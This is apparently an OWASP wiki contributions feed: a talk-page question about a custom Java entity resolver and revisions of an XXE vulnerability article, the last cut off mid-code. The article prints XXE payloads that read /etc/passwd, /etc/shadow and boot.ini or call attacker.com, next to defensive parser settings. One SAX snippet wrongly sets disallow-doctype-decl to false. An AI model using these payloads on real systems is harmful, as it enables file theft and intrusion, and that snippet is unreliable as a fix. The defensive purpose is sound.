<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jon+Passki</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jon+Passki"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Jon_Passki"/>
		<updated>2026-05-30T22:01:40Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:XML_External_Entity_(XXE)_Processing&amp;diff=189032</id>
		<title>Talk:XML External Entity (XXE) Processing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:XML_External_Entity_(XXE)_Processing&amp;diff=189032"/>
				<updated>2015-02-04T15:14:32Z</updated>
		
		<summary type="html">&lt;p&gt;Jon Passki: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== XXE Prevention in Java / Using an own EntiyResolver Implementation? ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Context: We write Java Software, used in quite different environment (div. Operating System, OpenJDK, IBM-JDK, Sun-JDK, JDK 6 - JDK8). I am not really happy with the described solution to prevent External Entity Injection, because it is depending on some special XML parser Implementations.&lt;br /&gt;
&lt;br /&gt;
To prevent External Entity Injection flaws we primarily use our own EntityResolver and we think this alone should be enough to ensure that the parser can not access resources via URL´s from SGML Entity Declarations.&lt;br /&gt;
&lt;br /&gt;
Our Entity Resolver looks like:&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;pre&amp;gt;public class SecureEntityResolver implements EntityResolver {&lt;br /&gt;
	List&amp;lt;String&amp;gt; allowedSystemIds = new ArrayList&amp;lt;String&amp;gt;();&lt;br /&gt;
&lt;br /&gt;
	@Override&lt;br /&gt;
	public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException {&lt;br /&gt;
		if(allowedSystemIds.contains(systemId)) {&lt;br /&gt;
			// return a special input source&lt;br /&gt;
			return new InputSource(new ByteArrayInputStream(systemId.getBytes()));&lt;br /&gt;
		}&lt;br /&gt;
		return new InputSource(new ByteArrayInputStream(&amp;quot;&amp;quot;.getBytes()));&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	public void addAllowedSystemIds(List&amp;lt;String&amp;gt; allowedSystemIds) {&lt;br /&gt;
		this.allowedSystemIds = allowedSystemIds;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
When parsing XML we register our Entity-Resolver&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DocumentBuilderFactory newFactory = DocumentBuilderFactory.newInstance();&lt;br /&gt;
newFactory.setNamespaceAware(true);&lt;br /&gt;
&lt;br /&gt;
DocumentBuilder builder = newFactory.newDocumentBuilder();&lt;br /&gt;
builder.setEntityResolver(new SecureEntityResolver()); /* !!!! */&lt;br /&gt;
&lt;br /&gt;
Document doc = builder.parse(...);&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Does anyone see problems with this way to prevent XXE Injection attacks?&lt;br /&gt;
: I like your approach in general because it gets away from the silliness of each processor. Have you ran different test cases to see what happens? Even better, could you enable the Java security manager and grant only file access to the test case? I'm interested in seeing if a network connection is attempted during the resolution. --[[User:Jon Passki|Jon Passki]] ([[User talk:Jon Passki|talk]])&lt;/div&gt;</summary>
		<author><name>Jon Passki</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=157410</id>
		<title>XML External Entity (XXE) Processing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=157410"/>
				<updated>2013-08-27T17:15:23Z</updated>
		
		<summary type="html">&lt;p&gt;Jon Passki: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Processing of an external entity containing tainted data may lead to disclosure of confidential information and other system impacts. &lt;br /&gt;
&lt;br /&gt;
The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There exists a specific type of entity, an [http://www.w3.org/TR/REC-xml/#sec-external-ent external general parsed entity] often shortened to an '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application.&lt;br /&gt;
&lt;br /&gt;
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* The application parses XML documents.&lt;br /&gt;
* Tainted data is allowed within the system identifier portion of the entity, within the [http://www.w3.org/TR/REC-xml/#sec-prolog-dtd document type declaration] (DTD).&lt;br /&gt;
* The XML processor is configured to validate and process the DTD.&lt;br /&gt;
* The XML processor is configured to resolve external entities within the DTD.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The examples below are from [[Testing for XML Injection (OWASP-DV-008)]].&lt;br /&gt;
&lt;br /&gt;
===Accessing a local resource that may not return===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
===Disclosing /etc/passwd or other targeted files===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;  &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[Blind SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Missing XML Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively [[Input Validation|validate]] or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.&lt;br /&gt;
&lt;br /&gt;
Testing ought to occur with specific implementations for any controls documented below.&lt;br /&gt;
&lt;br /&gt;
===C/C++===&lt;br /&gt;
&lt;br /&gt;
====libxml2====&lt;br /&gt;
&lt;br /&gt;
The Enum [http://xmlsoft.org/html/libxml-parser.html#xmlParserOption xmlParserOption] should not have the following options defined:&lt;br /&gt;
&lt;br /&gt;
* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text&lt;br /&gt;
* XML_PARSE_DTDLOAD: Load the external DTD&lt;br /&gt;
&lt;br /&gt;
Note: Per: https://mail.gnome.org/archives/xml/2012-October/msg00045.html, starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following patch: http://git.gnome.org/browse/libxml2/commit/?id=4629ee02ac649c27f9c0cf98ba017c6b5526070f.&lt;br /&gt;
&lt;br /&gt;
===Java===&lt;br /&gt;
&lt;br /&gt;
Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use. The following describes how to disable XXE in the most commonly used XML parsers for Java.&lt;br /&gt;
&lt;br /&gt;
====JAXP DOM and DocumentBuilderFactory====&lt;br /&gt;
&lt;br /&gt;
The DocumentBuilderFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
For a syntax highlighted code snippet, click [https://gist.github.com/anonymous/5599156 here].&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;import javax.xml.parsers.DocumentBuilderFactory;&lt;br /&gt;
import javax.xml.parsers.ParserConfigurationException; // catching unsupported features&lt;br /&gt;
...&lt;br /&gt;
 &lt;br /&gt;
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();&lt;br /&gt;
    try {&lt;br /&gt;
      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities&lt;br /&gt;
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities&lt;br /&gt;
      String FEATURE = &amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;;&lt;br /&gt;
      dbf.setFeature(FEATURE, false);&lt;br /&gt;
 &lt;br /&gt;
      // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl&lt;br /&gt;
      FEATURE = &amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;;&lt;br /&gt;
      dbf.setFeature(FEATURE, true);&lt;br /&gt;
 &lt;br /&gt;
      // remaining parser logic&lt;br /&gt;
      ...&lt;br /&gt;
 &lt;br /&gt;
        catch (ParserConfigurationException e) {&lt;br /&gt;
            // This should catch a failed setFeature feature&lt;br /&gt;
            logger.info(&amp;quot;ParserConfigurationException was thrown. The feature '&amp;quot; +&lt;br /&gt;
                        FEATURE +&lt;br /&gt;
                        &amp;quot;' is probably not supported by your XML processor.&amp;quot;);&lt;br /&gt;
            ...&lt;br /&gt;
        }&lt;br /&gt;
        catch (SAXException e) {&lt;br /&gt;
            // On Apache, this should be thrown when disallowing DOCTYPE&lt;br /&gt;
            logger.warning(&amp;quot;A DOCTYPE was passed into the XML document&amp;quot;);&lt;br /&gt;
            ...&lt;br /&gt;
        }&lt;br /&gt;
        catch (IOException e) {&lt;br /&gt;
            // XXE that points to a file that doesn't exist&lt;br /&gt;
            logger.error(&amp;quot;IOException occurred, XXE may still possible: &amp;quot; + e.getMessage());&lt;br /&gt;
            ...&lt;br /&gt;
        }&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====JAXP SAX and SAXParserFactory====&lt;br /&gt;
&lt;br /&gt;
The SAXParserFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/SAXParserFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. The features can either be set on the factory or the underlying XMLReader [http://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html#setFeature%28java.lang.String,%20boolean%29 setFeature] method. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
For a syntax highlighted code snippet, click [https://gist.github.com/jonpasski/5599721 here].&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;import javax.xml.parsers.ParserConfigurationException;  // catching unsupported features&lt;br /&gt;
import javax.xml.parsers.SAXParser;&lt;br /&gt;
import javax.xml.parsers.SAXParserFactory;&lt;br /&gt;
&lt;br /&gt;
import org.xml.sax.SAXNotRecognizedException;  // catching unknown features&lt;br /&gt;
import org.xml.sax.SAXNotSupportedException;  // catching known but unsupported features&lt;br /&gt;
import org.xml.sax.XMLReader;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
    SAXParserFactory spf = SAXParserFactory.newInstance();&lt;br /&gt;
    SAXParser saxParser = spf.newSAXParser();&lt;br /&gt;
    XMLReader reader = saxParser.getXMLReader();&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities&lt;br /&gt;
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities&lt;br /&gt;
&lt;br /&gt;
      // Using the SAXParserFactory's setFeature&lt;br /&gt;
      spf.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
      // Using the XMLReader's setFeature&lt;br /&gt;
      reader.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl&lt;br /&gt;
      spf.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;, false);&lt;br /&gt;
&lt;br /&gt;
      // remaining parser logic&lt;br /&gt;
      ...&lt;br /&gt;
&lt;br /&gt;
    } catch (ParserConfigurationException e) {&lt;br /&gt;
      // Tried an unsupported feature.&lt;br /&gt;
&lt;br /&gt;
    } catch (SAXNotRecognizedException e) {&lt;br /&gt;
      // Tried an unknown feature.&lt;br /&gt;
&lt;br /&gt;
    } catch (SAXNotSupportedException e) {&lt;br /&gt;
      // Tried a feature known to the parser but unsupported.&lt;br /&gt;
&lt;br /&gt;
    } catch ... {&lt;br /&gt;
      &lt;br /&gt;
    }&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====StAX and XMLInputFactory====&lt;br /&gt;
&lt;br /&gt;
The [http://en.wikipedia.org/wiki/StAX StAX] [http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html XMLInputFactory] can allow properties and features to be set.&lt;br /&gt;
&lt;br /&gt;
Disallow Resolving of External Entities:&lt;br /&gt;
* Set the &amp;quot;javax.xml.stream.isSupportingExternalEntities&amp;quot; property to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===iOS===&lt;br /&gt;
&lt;br /&gt;
====libxml2====&lt;br /&gt;
&lt;br /&gt;
iOS includes the C/C++ libxml2 library described above, so that guidance applies if you are using libxml2 directly. However, the version of libxml2 provided up through iOS6 is prior to version 2.9 of libxml2 (which protects against XXE by default).&lt;br /&gt;
&lt;br /&gt;
====NSXMLDocument====&lt;br /&gt;
&lt;br /&gt;
iOS also provides an NSXMLDocument type, which is built on top of libxml2. However, NSXMLDocument provides some additional protections against XXE that aren't available in libxml2 directly. Per the 'NSXMLDocument External Entity Restriction API' section of: http://developer.apple.com/library/ios/#releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html:&lt;br /&gt;
&lt;br /&gt;
* iOS4 and earlier: All external entities are loaded by default.&lt;br /&gt;
&lt;br /&gt;
* iOS5 and later: Only entities that don't require network access are loaded. (which is safer)&lt;br /&gt;
&lt;br /&gt;
However, to completely disable XXE in an NSXMLDocument in any version of iOS you simply specify NSXMLNodeLoadExternalEntitiesNever when creating the NSXMLDocument.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [http://www.securityfocus.com/archive/1/297714/2002-10-27/2002-11-02/0 Early (2002) BugTraq Article on XXE]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/611.html CWE-611: Information Exposure Through XML External Entity Reference]&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/827.html CWE-827: Improper Control of Document Type Definition]&lt;br /&gt;
* [https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf XML External Entity Attacks]&lt;br /&gt;
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3489 PostgreSQL XXE vulnerability]&lt;br /&gt;
* [http://www.agarri.fr/kom/archives/2011/09/15/failles_de_type_xee_dans_sharepoint_et_dotnetnuke/index.html SharePoint and DotNetNuke XXE Vulnerabilities, in French]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:API_Abuse]]&lt;/div&gt;</summary>
		<author><name>Jon Passki</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=157409</id>
		<title>XML External Entity (XXE) Processing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=157409"/>
				<updated>2013-08-27T17:13:38Z</updated>
		
		<summary type="html">&lt;p&gt;Jon Passki: Corrected errors in boolean passed to disallow-doctype feature. H/T to Sam Theys and Johan Rask&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Processing of an external entity containing tainted data may lead to disclosure of confidential information and other system impacts. &lt;br /&gt;
&lt;br /&gt;
The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There exists a specific type of entity, an [http://www.w3.org/TR/REC-xml/#sec-external-ent external general parsed entity] often shortened to an '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application.&lt;br /&gt;
&lt;br /&gt;
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* The application parses XML documents.&lt;br /&gt;
* Tainted data is allowed within the system identifier portion of the entity, within the [http://www.w3.org/TR/REC-xml/#sec-prolog-dtd document type declaration] (DTD).&lt;br /&gt;
* The XML processor is configured to validate and process the DTD.&lt;br /&gt;
* The XML processor is configured to resolve external entities within the DTD.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The examples below are from [[Testing for XML Injection (OWASP-DV-008)]].&lt;br /&gt;
&lt;br /&gt;
===Accessing a local resource that may not return===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
===Disclosing /etc/passwd or other targeted files===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;  &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[Blind SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Missing XML Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively [[Input Validation|validate]] or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.&lt;br /&gt;
&lt;br /&gt;
Testing ought to occur with specific implementations for any controls documented below.&lt;br /&gt;
&lt;br /&gt;
===C/C++===&lt;br /&gt;
&lt;br /&gt;
====libxml2====&lt;br /&gt;
&lt;br /&gt;
The Enum [http://xmlsoft.org/html/libxml-parser.html#xmlParserOption xmlParserOption] should not have the following options defined:&lt;br /&gt;
&lt;br /&gt;
* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text&lt;br /&gt;
* XML_PARSE_DTDLOAD: Load the external DTD&lt;br /&gt;
&lt;br /&gt;
Note: Per: https://mail.gnome.org/archives/xml/2012-October/msg00045.html, starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following patch: http://git.gnome.org/browse/libxml2/commit/?id=4629ee02ac649c27f9c0cf98ba017c6b5526070f.&lt;br /&gt;
&lt;br /&gt;
===Java===&lt;br /&gt;
&lt;br /&gt;
Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use. The following describes how to disable XXE in the most commonly used XML parsers for Java.&lt;br /&gt;
&lt;br /&gt;
====JAXP DOM and DocumentBuilderFactory====&lt;br /&gt;
&lt;br /&gt;
The DocumentBuilderFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
For a syntax highlighted code snippet, click [https://gist.github.com/anonymous/5599156 here].&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;import javax.xml.parsers.DocumentBuilderFactory;&lt;br /&gt;
import javax.xml.parsers.ParserConfigurationException; // catching unsupported features&lt;br /&gt;
...&lt;br /&gt;
 &lt;br /&gt;
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();&lt;br /&gt;
    try {&lt;br /&gt;
      // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities&lt;br /&gt;
      // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities&lt;br /&gt;
      dbf.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
 &lt;br /&gt;
